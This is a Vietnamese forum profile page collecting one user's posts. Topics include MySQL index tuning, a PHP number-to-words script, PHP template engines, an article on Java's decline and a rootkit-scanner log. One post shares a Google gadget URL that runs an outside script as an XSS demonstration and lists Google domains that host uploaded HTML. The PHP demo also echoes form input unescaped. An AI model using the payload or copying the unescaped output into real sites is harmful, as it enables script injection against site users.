banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: 114v  XML
Profile for 114v Messages posted by 114v [ number of posts not being displayed on this page: 0 ]
 
Vấn đề chính ở đây là khác về database structure, cụ thể hơn là các indexes. Đang bàn về tối ưu hóa CSDL mà tự nhiên nói qua bảo mật trời!!!!!!!!!!
Có khi trong bảng đó chưa có index nào. Thử repair table để nó cập nhật giá trị vào index xem sao
Vậy JForum trên HVA khác xa chỗ nào? Có khác xa về database structure hay chỉ thêm mod, việt hóa?
Không hiểu sao cái Phorum mà MySQL đang dùng lại tạo rất nhiều index gộp, còn tạo trùng index nữa. Không lẽ MySQL lại chọn bừa forum?

@thesirius114: Để chơi thì cứ index bừa, chẳng cần phải tìm hiểu rõ làm gì. Đọc ở index chắc đỡ bị crash hơn là scan full table.
Có 2 trường hợp:

Index tách riêng: name, pass, email
Code:
mysql> EXPLAIN SELECT * FROM `t_user` LEFT JOIN `t_info` ON t_user.id = t_info.u_id WHERE name = 'admin' AND pwd= '123456' AND email = 'admin@localhost';
+----+-------------+--------+------+----------------+------+---------+-----------------+------+-------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+--------+------+----------------+------+---------+-----------------+------+-------------+
| 1 | SIMPLE | t_user | ref | name,pwd,email | name | 257 | const | 1 | Using where |
| 1 | SIMPLE | t_info | ref | u_id | u_id | 4 | test.t_user.id | 1 | |
+----+-------------+--------+------+----------------+------+---------+-----------------+------+-------------+

Index gộp chung: name+pass+email
Code:
mysql> EXPLAIN SELECT * FROM `t_user` LEFT JOIN `t_info` ON t_user.id = t_info.u_id WHERE name = 'admin' AND pwd= '123456' AND email = 'admin@localhost';
+----+-------------+--------+------+---------------+------+---------+-------------------+------+-------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+--------+------+---------------+------+---------+-------------------+------+-------------+
| 1 | SIMPLE | t_user | ref | name | name | 546 | const,const,const | 1 | Using where |
| 1 | SIMPLE | t_info | ref | u_id | u_id | 4 | test.t_user.id | 1 | |
+----+-------------+--------+------+---------------+------+---------+-------------------+------+-------------+


Hic, không biết cái nào tốt hơn cái nào smilie
Dùng đệ qui

Code:
<?php
$nwords = array( "khong", "mot", "hai", "ba", "bon", "nam", "sau", "bay",
"tam", "chin", "Muoi", "Muoi mot", "Muoi hai", "Muoi ba",
"Muoi bon", "Muoi lam", "Muoi sau", "Muoi bay", "Muoi tam",
"Muoi chin", "Hai muoi", 30 => "Ba muoi", 40 => "BOn muoi",
50 => "Nam muoi", 60 => "Sau moi", 70 => "Bay muoi", 80 => "Tam muoi",
90 => "Chin muoi" );
function int_to_words($x)
{
global $nwords;
if(!is_numeric($x))
{
$w = '#';
}else if(fmod($x, 1) != 0)
{
$w = '#';
}else{
if($x < 0)
{
$w = 'minus ';
$x = -$x;
}else{
$w = '';
}
if($x < 21)
{
$w .= $nwords[$x];
}else if($x < 100)
{
$w .= $nwords[10 * floor($x/10)];
$r = fmod($x, 10);
if($r > 0)
{
$w .= '-'. $nwords[$r];
}
} else if($x < 1000)
{
$w .= $nwords[floor($x/100)] .' <b>Tram</b>';
$r = fmod($x, 100);
if($r > 0)
{
$w .= ' and '. int_to_words($r);
}
} else if($x < 1000000)
{
$w .= int_to_words(floor($x/1000)) .' <b>Ngan</b>';
$r = fmod($x, 1000);
if($r > 0)
{
$w .= ' ';
if($r < 100)
{
$w .= 'and ';
}
$w .= int_to_words($r);
}
} else {
$w .= int_to_words(floor($x/1000000)) .' <b>Trieu</b>';
$r = fmod($x, 1000000);
if($r > 0)
{
$w .= ' ';
if($r < 100)
{
$word .= 'and ';
}
$w .= int_to_words($r);
}
}
}
return $w;
}
// demonstration
if(isset($_POST['num']))
{
echo '
the number reads <b>'.$_POST['num'].'</b>:<br />'.int_to_words($_POST['num']).'<p>
<a href="'.$_SERVER['PHP_SELF'].'">try again</a>';
}else{
echo '
<form method="post" action="'.$_SERVER['PHP_SELF'].'">
<input type="text" name="num">
<input type="submit" value="spell number">
</form>';
}
?>
Code:
CREATE TABLE `test` (
`rowID` smallint(5) unsigned NOT NULL auto_increment,
`lastname` varchar(35) collate latin1_general_ci NOT NULL,
`firstname` varchar(35) collate latin1_general_ci NOT NULL,
`email` varchar(55) collate latin1_general_ci NOT NULL,
PRIMARY KEY (`rowID`),
UNIQUE KEY `email` (`email`),
KEY `name` (`lastname`,`firstname`)
) ENGINE=MyISAM ;
INSERT INTO `test` (`rowID`, `lastname`, `firstname`, `email`) VALUES
(5, 'a', 'b', 'ab@email.com'),
(6, 'c', 'd', 'cd@email.com');


Query
Code:
EXPLAIN SELECT * FROM test WHERE lastname = 'a' AND firstname = 'b'

Code:
id select_type table type possible_keys key key_len ref rows Extra
1 SIMPLE test ref name name 74 const,const 1 Using where


Khi nào không lấy rowID mà chỉ lấy lastname, firstname thì mới Using INDEX. Vậy hóa INDEX ra vô dụng, vì hầu như lúc nào cũng phải lấy rowID

Code:
EXPLAIN SELECT lastname, firstname, email FROM test WHERE lastname = 'a' AND firstname = 'b'

Code:
id select_type table type possible_keys key key_len ref rows Extra
1 SIMPLE test ref name name 74 const,const 1 Using where


=================================================

Code:
EXPLAIN SELECT lastname, firstname FROM test WHERE lastname = 'a' AND firstname = 'b'

Code:
id select_type table type possible_keys key key_len ref rows Extra
1 SIMPLE test ref name name 74 const,const 1 Using where; Using index

Siêu trộm wrote:
Tui cũng có ý hơi hơi giống với xyber, thực sự thì mình cũng ko rõ lắm việc họ sinh ra các template engine với template system này để làm gì, mình thấy phương pháp của Joomla là đã khá ổn, với từng component, phân 2 file, 1 file xử lý logic, 1 file để hiển thị, code cũng khá rõ ràng mà lại không cần dùng thêm cái gì. Smarty hay Savant mình thấy đều khá giống nhau, chưa kể Smarty compile 1 lần, còn Savant thì mỗi lần chạy mỗi lần interpret, vậy thì chưa biết cái nào "lightweight" hơn cái nào smilie
Nói tóm lại thì đúng là phần xử lý logic và hiển thị của PHP lộn xộn quá, phải chi được như Java hay .Net thì tốt biết mấy smilie 


Nói vậy là không đúng rồi. Smarty compile nhưng đâu phải là ra opcode mà vẫn chỉ là PHP, chỗ này y hệt Savant. Savant nhanh hơn Smarty ỗ chổ nó không cần tới các bước tìm, preg_match, replace.

Java thì ngay cái forum này xử dụng template cũng y hệt smarty, .NET thì cả 1 đống lù bù các tag. Khi xem trên các editor thì tag nào cũng như tag nào, khó mà phân biệt, làm rối thêm thêm cho người thiết kế. Còn đối với Savant, do dùng luôn tag php, nên các WYSIWYG không có vấn đề gì, trên editor thì phân biệt khá rõ.

Dùng template phải nói là hơi khổ cho xử lý của PHP. Bình thường viết gộp PHP và HTML vào thì chỉ foreach, while 1 lần là đủ, nhưng có template vào thì phải lặp ít nhất là 2 lần, có trường hợp phải lặp tới 3,4 lần. Ví dụ: Lấy các bài viết trang forum, lặp qua hết để lấy ngày cho đúng, user là admin thì phải đậm, cho vào một mảng rồi gán cho vào biến template, sau đó qua bên template lặp tiếp lần nữa để echo biến template ra.
http://dev.mysql.com/doc/refman/5.0/en/create-table.html
Code:
| {INDEX|KEY} [index_name] [index_type] (index_col_name,...)


Lý thuyết là vậy, nhưng ngồi cả buổi để explain mà không thấy một chút Using INDEX, toàn là Using whereUsing filesort

Ngoài ra nếu index có nhiều cột, lúc query phải query đúng thứ tự thì mới sử dụng index, lý thuyết là vậy nhưng khi làm ra toàn là Using where. Hay là InnoDB có vấn đề với index nhỉ?
Code:
KEY forumid (forumid),
KEY startdate (enddate, forumid, startdate)


Vẫn chưa hiểu lắm, sao lại có cái thì một, cái thì từ 2 trở lên, tác dụng của nó có giống nhau không?

aguest wrote:
Hai bản này có khác gì đâu, nói chung người ta chia ra như vậy để marketing thôi... bạn cứ việc vài bản Server, rồi cài thêm mấy cái khác như OpenOffice, GIM, .... là thành Desktop liền à.  


Bản server của Ubuntu đâu có GUI đâu mà làm desktop

Có ai biết cách tạo kết nối từ ubuntu server cài trên VMware để truy cập localhost bằng win không?
smilie
Code:
http://gmodules.com/ig/creator?synd=open&url=http%3A//ha.ckers.org/asdf2.xml&pt=&context=b&synd=open&lang=en&.lang=en&country=us&.country=us&cat=all&num=24&start=0&cols=4&objs=w,mO,jyq,gQq,jhP,NL,Hg,pV,RB,p,33G,EKT,6aZ,7Wu,aag,2C,vB,sMg,j0,xQO,5WIK,Rm,gP1,acyU&sn=2C&lang=en


Vào có cái alert làm hết hồn smilie)

http://www.googlegroups.com/ (create a group, and then upload an HTML file)
http://www.googlecode.com/ (create a project, and then upload an HTML file)
or even..
http://www.blogspot.com/ (yoursite.blogspot.com allows you to input )

AnyThingYouDontWannaNoe wrote:
Chào các bạn!

Mình đang làm 1 trang web based trên PHP cho hãng. Mình có 1 database. Code viết bằng PHP , sau khi đã connect xong, mình muốn check cho chắc chắn cái query mình vừa mới execute ra có được thực hiện thành công hay không. Vì dụ như DELETE.. có được thực hiện kô, hay Data vẫn còn đó. Thì phải làm sao?


Thí dụ:

$sql = mysql_query("DELETE FROM tblxxx WHERE x = b");

Sau đó mình muốn làm 1 câu lệnh bên dưới để check xem rows mình vừa xóa có thực sự được xóa kô thì phải làm sao?

Thanks!

 


mysql_affected_rows — Get number of affected rows in previous MySQL operation
http://www.php.net/manual/en/function.mysql-affected-rows.php
Java: nàng "hoa hậu" hết thời?

Ngôn ngữ lập trình mang tính cách mạng của Sun đã quá quen thuộc với giới phát triển web. Nhưng giờ đây, khi thập niên 90 ngày càng lùi xa, Java cũng dần dần "mọc râu".

Với Peter Yared, Giám đốc điều hành của hãng phần mềm ActiveGrid, Ngôn ngữ lập trình Java gắn liền với một chương quan trọng trong bước đường sự nghiệp của ông. Cuối những năm 90, Yared khi đó là giám đốc công nghệ của NetDynamics, một công ty mà hầu như mọi sản phẩm chủ chốt đều dựa trên nền Java. 5 năm tiếp theo, Yared làm quan chức lãnh đạo ở Sun. Chính vì lẽ đó, thật ngạc nhiên khi Yared lại tuyên bố rằng "Java là một con khủng long" - cũng có nghĩa Java từng có một thời "oanh liệt" thật, nhưng giờ đây, thời oanh liệt ấy nay còn đâu?
Yared có lý riêng của mình khi kết luận như vậy. ActiveGrid - công ty 2 năm tuổi của Yared - đang kinh doanh thứ mà ông gọi là thế hệ máy chủ ứng dụng mới. Chúng vẫn được sử dụng để xây dựng nên các website và phần mềm doanh nghiệp, nhưng hoàn toàn không dựa dẫm vào Java.
Thay vào đó, chúng hướng tới các gói phần mềm nguồn mở, bao gồm hệ điều hành Linux, máy chủ Apache Web, cơ sở dữ liệu MySQL cùng một bộ ngôn ngữ scripting đều bắt đầu bằng chữ P: Perl, Python và PHP. Tổng hợp tất cả những yếu tố đó, viết tắt những chữ cái đầu tiên và bạn sẽ có LAMP - Ngôn ngữ lập trình đời mới.
Thắp sáng web với LAMP
Yared tiết lộ rằng LAMP ngày càng được ưa chuộng và sử dụng nhiều hơn trong việc phát triển thế hệ ứng dụng Web mới, cũng như các công nghệ có liên quan. Còn Java ư? Ly cà phê bốc khói ấy giờ đây giống như một cuốn giáo trình xưa cũ, đã "mọc râu" và hụt hơi khi đuổi theo những phát minh thời đại. Nói một cách khác: Nó đã thuộc về thiên niên kỷ trước rồi.
Có lẽ nào Java - một thời là "hoa hậu của các hoa hậu", "tân thời nhất trong số tân thời", lại biến thành một công nghệ "xác ướp", cũ kỹ, già nua và lạc hậu như máy tính mainframe của IBM hay phần mềm doanh nghiệp của SAP? Thật đáng buồn khi những bằng chứng có được đều khiến ta phải gật đầu.

Theo báo cáo từ Evans Data Corp, nơi tiến hành thăm dò đều đặn hàng năm về hoạt động của giới phát triển phần mềm, tỷ lệ sử dụng Java ngày càng thưa trong khi LAMP và .NET của Microsoft liên tục bành trướng. Tại Bắc Mỹ, chỉ còn 47,9% số người được hỏi còn sử dụng Java như một ngôn ngữ lập trình chính, so với 51,4% hồi mùa thu 2002.
"Còn khuya mới mất duyên"

Tất nhiên, Sun là người phản đối nhận định này kịch liệt nhất. "Java đã đến thời tàn hay chưa á? Còn lâu. Chúng tôi đều nghĩ nó mới chỉ bắt đầu vào cuộc", John Loiacono, phó chủ tịch điều hành bộ phận phần mềm của Sun tuyên bố.

Để minh chứng cho nhận xét của mình, John chỉ ra hai thực tế: 1. Java vẫn còn rất mạnh trong khối ứng dụng doanh nghiệp phức tạp, quy mô, tinh vi và 2. Java đặc biệt phổ biến trong ĐTDĐ - khi có tới 600 model hiện có trên thị trường đang chạy Java, và cứ 10 mẫu máy hàng Top lại có tới 7 chiếc phát triển dựa trên công nghệ này.

Thật buồn cho Sun, vì các hãng khác không nghĩ như vậy. Ngay cả khi Java vẫn chắc chân trên các thị trường trọng yếu, thì những cuộc phỏng vấn với hơn một chục đại gia công nghệ và nhà phân tích đều cho thấy thị trường đang chuyển động theo hướng không có lợi cho Java.

Điều này khiến không chỉ Sun lo ngại, mà ngay nhiều hãng như IBM, BEA Systems và jBoss cũng phải giật mình cân nhắc lại, bởi họ đang đặt cược khá lớn cho ngôn ngữ lập trình này. Nếu Java mất ánh hào quang, thì sức hấp dẫn của các sản phẩm dựa trên ngôn ngữ này cũng biến mất.
Những ngôi sao mới
Với nhiều đại gia công nghệ như Google và Yahoo!, Java chưa bao giờ chiếm một vị trí quan trọng trong chiến lược phát triển của họ. Các công ty nhỏ hơn, chuyên về Web 2.0 thì lại đặc biệt chuộng dùng AJAX cùng PHP, thế hệ công cụ lập trình kiểu mới, gọn nhẹ và cơ động. Đây là trường hợp của những hãng như Friendster, Flickr và Facebook. Theo họ, các công cụ đời mới không "kén khách" như Java, những nhà lập trình với kỹ năng và trình độ không quá cao cũng có thể học được cách phát triển ứng dụng rất nhanh chóng.
Theo nhiều nhà phân tích, sự thay đổi này cũng chẳng khác gì những năm 90 của thế kỷ trước, khi Java hất cẳng các ngôn ngữ lập trình truyền thống như C và C+. Giờ thì cộng đồng phát triển đang lũ lượt di cư từ Java sang PHP và AJAX. Từ con số 0 của năm 2000, số website sử dụng PHP đã nhảy vọt với tốc độ tên lửa lên 23 triệu trang.
Hồi mới nổi, Java từng được xem là bài thuốc "giải độc" chống lại sự chuyên chế của Microsoft. Sử dụng Java, các nhà lập trình phần mềm và phát triển website có thể viết ra những chương trình chạy được trên nhiều hệ điều hành khác nhau. Trong địa hạt desktop nơi Windows thống trị độc tôn, Java đã thất bại, nhưng trong thế giới máy chủ, Java đã trở thành một thế lực hùng mạnh.
Với những website và ứng dụng Web đơn giản, người ta không còn cần đến Java. Nhưng khi phải làm thứ gì đó phức tạp hơn, cầu kỳ hơn, đấy chính là lúc phải cầu viện đến sản phẩm của Sun. Khi viết mã trên nền Linux, số tầng (layer) ít hơn nhiều nên bạn cũng không cần đến Java. Tương tự, khi viết các ứng dụng desktop dành cho giới giao dịch, môi giới và bán hàng, nhiều người đã sử dụng công cụ lập trình Visual Studio .NET của Microsoft.

"Thị trường ngày càng cạnh tranh còn khách hàng có thêm nhiều sự lựa chọn. Không ai, dù là người dùng hay một ông lớn, lại chỉ trung thành với duy nhất một công nghệ", Rod Smith, phó chủ tịch công nghệ phần mềm mới của IBM nhún vai. Suy cho cùng, liệu đã đến lúc cất lên một bản valse buồn cho Java hay chưa?

Hiện nay, Java hầu như chỉ còn được chuộng ở châu Á, ở châu Âu và Bắc Mỹ, nó giống như một cô gái đang dần "hết duyên". Tỷ lệ dùng .NET đã tăng một mạch gần 15%, từ 40,3% lên 54,1% tại Bắc Mỹ, qua mặt cả tỷ lệ dùng Java ở châu Âu và châu Á gộp lại.

Trong một cuộc thăm dò khác, mức độ ưa chuộng PHP tại Bắc Mỹ đã tăng từ 26% năm 2003 lên 36% trong năm nay, nhưng ở cựu lục địa Á - Âu, tốc độ ấy còn nhanh hơn. "Có quá nhiều đối thủ lớn và chúng đang gặm nhấm dần thị phần của Java", chủ tịch của Evans kết luận.

Một dấu hiệu khác cho thấy Java đang bị lạnh nhạt xuất phát từ thị trường sách công nghệ. Theo O'Reilly Media, một nhà xuất bản sách lập trình hàng đầu thì những cuốn có liên quan đến Java bị tụt 4% doanh số so với năm ngoái, trong khi doanh thu của sách hướng dẫn AJAX - một ngôn ngữ lập trình đang chiếm lĩnh các gói phần mềm nguồn mở - lại tăng tới 68%.
Cầm Thi (Theo Business Week)
http://vnhnc.com/home5/news.php?sid=20051219175923
Mò mãi cũng đã nắm được 30%

Em muốn hỏi là sau khi mình tạo 1 thư mục bằng cách checkout, vậy giờ mình sẽ chỉnh sửa và viết trong thư mục đó hay là thư mục gốc của code. Trong thư mục checkout thường có .svn ẩn, vậy khi xuất bản mình phải xóa bằng tay những thư mục đó?
Em vừa check thử thì thấy như vậy, tìm SSDT-hook thì thấy nó là 1 loại rootkit, không biết có bị làm sao không, Kaspersky không phát hiện được

Code:
McAfee(R) Rootkit Detective 1.0 scan report
On 02-08-2007 at 23:56:35
OS-Version 5.1.2600
Service Pack 2.0
====================================
Object-Type: SSDT-hook
Object-Name: ZwClose
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwCreateKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwCreateProcess
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwCreateProcessEx
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwCreateSection
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwCreateSymbolicLinkObject
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwCreateThread
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwDeleteKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwDeleteValueKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwDuplicateObject
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwEnumerateKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwEnumerateValueKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwFlushKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwInitializeRegistry
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwLoadDriver
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwLoadKey2
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwLoadKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwNotifyChangeKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwOpenFile
Object-Path: C:\WINDOWS\system32\drivers\kl1.sys
Object-Type: SSDT-hook
Object-Name: ZwOpenKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwOpenProcess
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwOpenSection
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwQueryKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwQueryMultipleValueKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwQuerySystemInformation
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwQueryValueKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwReplaceKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwRestoreKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwResumeThread
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSaveKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSetContextThread
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSetInformationFile
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSetInformationKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSetSecurityObject
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSetValueKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSuspendThread
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwSystemDebugControl
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwTerminateProcess
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwUnloadKey
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: ZwWriteVirtualMemory
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: SSDT-hook
Object-Name: (NULL)
Object-Path: C:\WINDOWS\system32\drivers\klif.sys
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_SYSTEM_CONTROL
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_POWER
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_CLEANUP
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_SHUTDOWN
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_INTERNAL_DEVICE_CONTROL
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_DEVICE_CONTROL
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_FLUSH_BUFFERS
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_WRITE
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_READ
Object-Path:
Object-Type: IRP-hook
Object-Name: \Driver\Ftdisk->IRP_MJ_CREATE
Object-Path:
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Unable to access registry key
Object-Type: Registry-key
Object-Name: 19659239224E364682FA4BAF72C53EA4td\Cfg
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Unable to access registry key
Object-Type: Registry-key
Object-Name: 00000001ontrolSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Hidden
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Unable to access registry key
Object-Type: Registry-key
Object-Name: 0Jf40M\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001\0Jf40
Status: Hidden
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001\0Jf40
Status: Unable to access registry key
Object-Type: Registry-value
Object-Name: khjeh
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001\0Jf40
Status: Hidden
Object-Type: Registry-value
Object-Name: a0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Hidden
Object-Type: Registry-value
Object-Name: khjeh
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Hidden
Object-Type: Registry-value
Object-Name: p0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: h0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: khjeh
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: s1
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-value
Object-Name: s2
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-value
Object-Name: g0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-value
Object-Name: h0
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Hidden
Object-Type: Registry-key
Object-Name: 19659239224E364682FA4BAF72C53EA4td\Cfg
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-key
Object-Name: 00000001ontrolSet002\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Hidden
Object-Type: Registry-key
Object-Name: 0Jf40M\ControlSet002\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001\0Jf40
Status: Hidden
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg
Status: Unable to access registry key
Object-Type: Registry-key
Object-Name: 19659239224E364682FA4BAF72C53EA4td\Cfg
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Hidden
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Status: Unable to access registry key
Object-Type: Registry-key
Object-Name: 00000001ontrolSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Hidden
Object-Type: Registry-value
Object-Name: (Default)
Object-Path: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\sptd\Cfg\19659239224E364682FA4BAF72C53EA4\00000001
Status: Unable to access registry key
Object-Type: Registry-key
